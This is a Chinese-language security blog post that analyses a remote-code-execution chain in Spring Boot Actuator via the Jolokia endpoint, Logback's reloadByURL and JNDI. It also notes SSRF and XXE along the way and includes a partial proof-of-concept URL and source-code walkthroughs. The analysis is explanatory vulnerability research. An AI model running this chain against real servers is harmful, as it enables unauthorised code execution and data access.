

spring boot actuator rce via jolokia

[orich1](#) / 2019-03-01 09:48:00 / 浏览数 2933 [安全技术](#) [WEB安全](#) [顶\(0\)](#) [踩\(0\)](#)

前言

之前不知道 spring-boot-actuator 的问题，最近有大佬放出了 rce 利用方式，跟着学习学习，稍微简单分析一下

我仅仅是对第一种 jolokia 的利用方式做简单代码分析，其他更多有趣内容在原文中

原文地址：<https://www.veracode.com/blog/research/exploiting-spring-boot-actuators>

触发流程：

Spring-boot-actuator

->

Jolokia

->

Logback

->

JNDI

->

Rce

Poc:

<http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadB>

分析过程

环境：spring-boot-actuator:1.4.7、jolokia-core:1.6.0

可以在 JolokiaMvcEndpoint 类中先看看 jolokia 是如何注册的，如下

```
@ConfigurationProperties(
    prefix = "endpoints.jolokia",
    ignoreUnknownFields = false
)
@HypermediaDisabled
public class JolokiaMvcEndpoint extends AbstractMvcEndpoint implements ServletWrappingController {
    private final ServletWrappingController controller = new S

    public JolokiaMvcEndpoint() {
        super(path: "/jolokia", sensitive: true);
        this.controller.setServletClass(AgentServlet.class);
        this.controller.setServletName("jolokia");
    }
}
```

先知社区

只要是 /jolokia 为第一个 path 节点的，都会进入它的执行逻辑中，可以一直跟进到 org.jolokia.http.HttpRequestHandler#handleGetRequest 里

```
public JSONAware handleGetRequest(String pUri, String pPathInfo, Map<String, String[]> pParameterMap) {
    String pathInfo = this.extractPathInfo(pUri, pPathInfo);
    JmxRequest jmxReq = JmxRequestFactory.createGetRequest(pathInfo, this.getProcessingParameter(pParameterMap));
    if (this.backendManager.isDebugEnabled()) {
        this.logHandler.debug("URI: " + pUri);
        this.logHandler.debug("Path-Info: " + pathInfo);
        this.logHandler.debug("Request: " + jmxReq.toString());
    }
    return this.executeRequest(jmxReq);
}
```

先知社区

在上图红框流程中，先对 path 做 / 切割分组，不过可以 1!/2 这样能够保留 / 符号，后边用得到

可以根据 path 节点新建 JmxRequest 对象

大致如下图所示，有这么些类别可以指定

```

00 result = {HashMap@9524} size = 8
> 0 = {HashMap$Node@9974} "search" -> "SEARCH"
> 1 = {HashMap$Node@9975} "read" -> "READ"
> 2 = {HashMap$Node@9976} "remnotif" -> "REMNOTIF"
> 3 = {HashMap$Node@9977} "list" -> "LIST"
> 4 = {HashMap$Node@9978} "regnotif" -> "REGNOTIF"
> 5 = {HashMap$Node@9979} "write" -> "WRITE"
> 6 = {HashMap$Node@9980} "version" -> "VERSION"
> 7 = {HashMap$Node@9981} "exec" -> "EXEC"

```

我们主要观察 exec 类型的，它对应 org.jolokia.request.JmxExecRequest 类型，在它被创建时，会调用父类 org.jolokia.request.JmxObjectNameRequest 的构造函数，如下所示

```

public JmxObjectNameRequest(RequestType pType, String pObjectName,
    super(pType, pPathParts, pProcessingParams);
    this.initObjectName(pObjectName);
}

```

跟进 initObjectName 函数，如下

```

private void initObjectName(String pObjectName) throws MalformedObjectNameException {
    if (pObjectName == null) {
        throw new IllegalArgumentException("Objectname can not be null");
    } else {
        this.objectName = new ObjectName(pObjectName);
    }
}

```

如上图，这里将 exec 后面的第一个 path 节点带进了 javax.management.ObjectName 构造函数中

```

/**
 * Construct an object name from the given string.
 *
 * @param name A string representation of the object name.
 *
 * @exception MalformedObjectNameException The string passed as a
 * parameter does not have the right format.
 * @exception NullPointerException The <code>name</code> parameter
 * is null.
 */
public ObjectName(String name)
    throws MalformedObjectNameException {
    construct(name);
}

```

根据上图中的注释描述，可以根据一个字符串（对象名称的字符串表示形式）创建一个 ObjectName 对象，这个对象和后面的反射执行指定函数大有关系

然后将 path 的下一个节点赋值到 JmxExecRequest 的 operation 属性上，将剩余的 path 节点作为 List 赋值给 arguments 属性

至此 JmxRequest 创建完毕，进入 org.jolokia.http.HttpRequestHandler#executeRequest 执行流程当中，其中很多部分就不详细跟踪，大致是又根据 exec 类型创建了一个 org.jolokia.handler.ExecHandler 对象

看见poc很好奇参数转换过程是怎么样的

直接进入到了 ExecHandler 的 dohandleRequest 当中

```

public Object doHandleRequest(MBeanServerConnection server, JmxExecRequest request) throws InstanceNotFoundException, Att
    ExecHandler.OperationAndParamType types = this.extractOperationTypes(server, request);
    int nrParams = types.paramClasses.length;
    Object[] params = new Object[nrParams];
    List<Object> args = request.getArguments();
    this.verifyArguments(request, types, nrParams, args);

    for(int i = 0; i < nrParams; ++i) {
        if (types.paramOpenTypes != null && types.paramOpenTypes[i] != null) {
            params[i] = this.converters.getToOpenTypeConverter().convertToObject(types.paramOpenTypes[i], args.get(i));
        } else {
            params[i] = this.converters.getToObjectConverter().prepareValue(types.paramClasses[i], args.get(i));
        }
    }

    return server.invoke(request.getObjectNames(), types.operationName, params, types.paramClasses);
}

```

如上图，就是将 JmxExecRequest 中的 operation 做参数类型鉴定，然后根据目标函数需要的参数类型，将 arguments 转换成对应类型，最后执行 server.invoke 的调用，这个调用就是执行我们指定的类中的指定的函数，那这里是不是能够任意类和任意函数都能执行呢，不是的，需要提前注册，注册的内容可以通过 [/jolokia/list](#) 查看

ch.qos.logback.classic.jmx.JMXConfigurator 就是能够调用的类之一，到了这里就进入到了 logback 的依赖包中

简单查看一下它的函数：

```

JMXConfigurator
  JMXConfigurator(LoggerContext, MBeanServerConnection)
  previouslyRegisteredListenerWithSameName(String): void
  reloadDefaultConfiguration(): void
  reloadByFileName(String): void
  addStatusListener(StatusListener): void
  removeStatusListener(StatusListener): void
  reloadByURL(URL): void
  setLogLevel(String, String): void
  getLogLevel(String): String
  getLoggerEffectiveLevel(String): String
  getLoggerList(): List<String>
  getStatuses(): List<String>
  onStop(LoggerContext): void
  onLevelChange(Logger, Level): void
  onReset(LoggerContext): void
  isResetResistant(): boolean
  clearFields(): void
  stop(): void

```

首先这个类名就很有意思 JMXConfigurator，和 JMX 的配置有关，函数中也有个 reloadByURL，从名字就能会意出通过远程加载配置文件并且重启配置

先看 reloadByURL 函数

```

public void reloadByURL(URL url) throws JoranException {
    StatusListenerAsList statusListenerAsList = new StatusListenerAsList();
    this.addStatusListener(statusListenerAsList);
    this.addInfo( msg: "Resetting context: " + this.loggerContext.getName());
    this.loggerContext.reset();
    this.addStatusListener(statusListenerAsList);

    try {
        if (url != null) {
            JoranConfigurator configurator = new JoranConfigurator();
            configurator.setContext(this.loggerContext);
            configurator.doConfigure(url);
            this.addInfo( msg: "Context: " + this.loggerContext.getName() + " reloaded.");
        }
    } finally {
        this.removeStatusListener(statusListenerAsList);
        if (this.debug) {
            StatusPrinter.print(statusListenerAsList.getStatusList());
        }
    }
}

```

如上图，它的参数是一个 URL 类型的，我们传入进去只能是 String，但是不用方，ExecHandler 的 doHandRequest 当中会对目标函数的参数类型做适配，将 String 转换成 URL。

但是这里有个问题，因为需要指定 schema，所以必须有类似 http:// 这样的开头，而我们的 path 进去以后，会用 / 切割分组的，所以需要用到前面的流程中对 uri 的处理过程，只需要这样请求就好：http://!//

跟入 doConfigure 函数

```

public final void doConfigure(URL url) throws JoranException {
    InputStream in = null;
    boolean var12 = false;

    String errMsg;
    try {
        var12 = true;
        informContextOfURLUsedForConfiguration(this.getContext(), url);
        URLConnection urlConnection = url.openConnection();
        urlConnection.setUseCaches(false);
        in = urlConnection.getInputStream();
        this.doConfigure(in, url.toExternalForm());
        var12 = false;
    } catch (IOException var15) {
    }
}

```

从 url 获取返回流传入下一个 doConfigure 函数，这里也能 ssrf 的
跟进函数如下：

```

public final void doConfigure(InputStream inputStream, String systemId) throws JoranException {
    InputSource inputSource = new InputSource(inputStream);
    inputSource.setSystemId(systemId);
    this.doConfigure(inputSource);
}

```

继续跟进上图中的红色方框如下

```

public final void doConfigure(InputSource inputSource) throws JoranException {
    long threshold = System.currentTimeMillis();
    SaxEventRecorder recorder = new SaxEventRecorder(this.context);
    recorder.recordEvents(inputSource);
    this.doConfigure(recorder.saxEventList);
    StatusUtil statusUtil = new StatusUtil(this.context);
    if (statusUtil.noXMLParsingErrorsOccurred(threshold)) {
        this.addInfo( msg: "Registering current configuration as safe fallback point");
        this.registerSafeConfiguration(recorder.saxEventList);
    }
}

```

如上图所示，在调用 recordEvents 的时候带入了输入流，这个输入流是我们可控的，即在自己服务器上放置的 xml 文件，xml 解析的过程就是发生在 recordEvents 的执行过程中，而后红框的调用，是对已经解析完成的内容进行一定的逻辑操作，然后重载配置，后面的过程就不分析了，简单的去看一下 recordEvents 执行过程，如下

```
public List<SaxEvent> recordEvents(InputSource inputSource) throws JoranException {
    SAXParser saxParser = this.buildSaxParser();

    try {
        saxParser.parse(inputSource, dh: this);
        return this.saxEventList;
    }
}
```

很简单，build 完成后直接 parse，那我们查看一下 build 的时候是否有做防护，如下

```
private SAXParser buildSaxParser() throws JoranException {
    try {
        SAXParserFactory spf = SAXParserFactory.newInstance();
        spf.setValidating(false);
        spf.setNamespaceAware(true);
        return spf.newSAXParser();
    } catch (Exception var3) {
        String errMsg = "Parser configuration error occurred";
        this.addError(errMsg, var3);
        throw new JoranException(errMsg, var3);
    }
}
```

什么防护和限制都莫得，所以这里也可以造成 xxe

那么到现在为止，只是梳理出来了 xxe 的触发，rce 呢
不方，我们查一查 logback insertFromJNDI 标签

从JNDI 获取变量

使用 <insertFromJNDI> 可以从 JNDI 加载变量，如下所示：

```
1 <configuration>
2   <insertFromJNDI env-entry-name="java:comp/env/appName" as="appName" />
3   <contextName>${appName}</contextName>
4
5   <appender name="CONSOLE" class="ch.qos.logback.core.ConsoleAppender">
6     <encoder>
7       <pattern>%d ${CONTEXT_NAME} %level %msg %logger{50}%n</pattern>
8     </encoder>
9   </appender>
10
11   <root level="DEBUG">
12     <appender-ref ref="CONSOLE" />
13   </root>
14 </configuration>
```

其中的 env-entry-name 就是指向 jndi 的服务器地址，那么这里我们可以换成自己的恶意 jndi 服务器地址，通过 jndi 触发 java 反序列化，最终导致 RCE

链接

https://blog.csdn.net/qg_24607837/article/details/83785878
<https://www.veracode.com/blog/research/exploiting-spring-boot-actuators>

点击收藏 | 1 关注 | 3

[上一篇：缓解Mimikatz风格攻击](#) [下一篇：Data-Knowledge-Ac...](#)

1. 0 条回复

- 动动手指，沙发就是你的了！

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)